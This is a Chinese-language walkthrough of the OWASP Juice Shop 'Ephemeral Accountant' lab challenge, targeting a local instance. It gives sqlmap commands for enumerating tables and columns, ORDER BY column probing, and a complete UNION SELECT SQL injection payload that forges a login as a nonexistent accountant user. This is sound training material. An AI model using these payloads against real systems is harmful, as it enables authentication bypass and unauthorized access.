【juice-shop】★★★★ Ephemeral Accountant:通过 SQL 注入凭空创建临时用户
0x01 任务简报
🎯 挑战目标
在没有注册的情况下使用(不存在的)账号 acc0unt4nt@juice-sh.op 登录。
💡 官方提示 (Hints)
1. 尝试"凭空创建"所需的用户。
2. 用户必须具有短暂性,即"仅持续很短时间"。
3. 使用用户的电子邮件地址进行常规注册显然无法解决此问题。
4. 通过其他方式将用户导入数据库也无法解决此验证问题。
5. 该挑战属于注入类别的这一事实,本身就已揭示了其预期的解决思路。
0x02 前置知识
临时用户的概念
Ephemeral(短暂的) 意味着用户只在当前请求中存在,不会被持久化到数据库。
实现方式:
1
2
3
4
|
-- 不是 INSERT,而是在查询时动态构造用户数据
SELECT * FROM users
UNION
SELECT 15, '', 'acc0unt4nt@juice-sh.op', '12345', 'accounting', ...
|
SQLite 的 UNION 注入
SQLite 支持 UNION 查询,允许攻击者在查询结果中注入虚假数据。
关键特性:
- 列数必须匹配
- 数据类型必须兼容
- 可以使用子查询动态构造数据
0x03 实战:复现漏洞
步骤1:抓取登录请求
使用 Burp Suite 或浏览器开发者工具抓取登录请求:
1
2
3
4
5
|
POST /rest/user/login HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
{"email":"test@test.com","password":"password"}
|

步骤2:探测 SQL 注入点
在 email 字段中注入 SQL 代码,使用 ORDER BY 来确定列数:
Payload 1:测试 13 列
结果: 返回正常响应 ✅

Payload 2:测试 14 列
结果: 返回错误响应 ❌

结论: 数据库表有 13 列
步骤3:使用 SQLMap 进行自动化注入
第一步:保存请求到文件
创建 request.txt 文件,内容为登录请求:
1
2
3
4
5
|
POST /rest/user/login HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
{"email":"*","password":"1"}
|

第二步:列出所有表
1
|
sqlmap -r request.txt -p email --tables --batch --ignore-code=401
|
结果:

第三步:列出 Users 表的列
1
|
sqlmap -r request.txt -p email -T Users --columns --batch --ignore-code=401
|
结果:

步骤4:构造 UNION 注入 Payload
使用 UNION SELECT 动态创建临时用户:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
' UNION SELECT * FROM (
SELECT
15 as 'id',
'' as 'username',
'acc0unt4nt@juice-sh.op' as 'email',
'12345' as 'password',
'accounting' as 'role',
'123' as 'deluxeToken',
'1.2.3.4' as 'lastLoginIp',
'/assets/public/images/uploads/default.svg' as 'profileImage',
'' as 'totpSecret',
1 as 'isActive',
'1999-08-16 14:14:41.644 +00:00' as 'createdAt',
'1999-08-16 14:33:41.930 +00:00' as 'updatedAt',
null as 'deletedAt'
)--
|
Payload 说明:
UNION SELECT - 将虚假数据与真实查询结果合并
SELECT ... FROM (...) - 子查询动态构造用户数据
- 所有 13 列都必须指定
- 数据类型和顺序必须匹配

步骤5:使用 Payload 登录
在登录表单中输入 Payload 作为邮箱:
1
2
|
邮箱: ' UNION SELECT * FROM (SELECT 15 as 'id', '' as 'username', 'acc0unt4nt@juice-sh.op' as 'email', '12345' as 'password', 'accounting' as 'role', '123' as 'deluxeToken', '1.2.3.4' as 'lastLoginIp' , '/assets/public/images/uploads/default.svg' as 'profileImage', '' as 'totpSecret', 1 as 'isActive', '1999-08-16 14:14:41.644 +00:00' as 'createdAt', '1999-08-16 14:33:41.930 +00:00' as 'updatedAt', null as 'deletedAt')--
密码: 12345
|
登录成功! 🎉
参考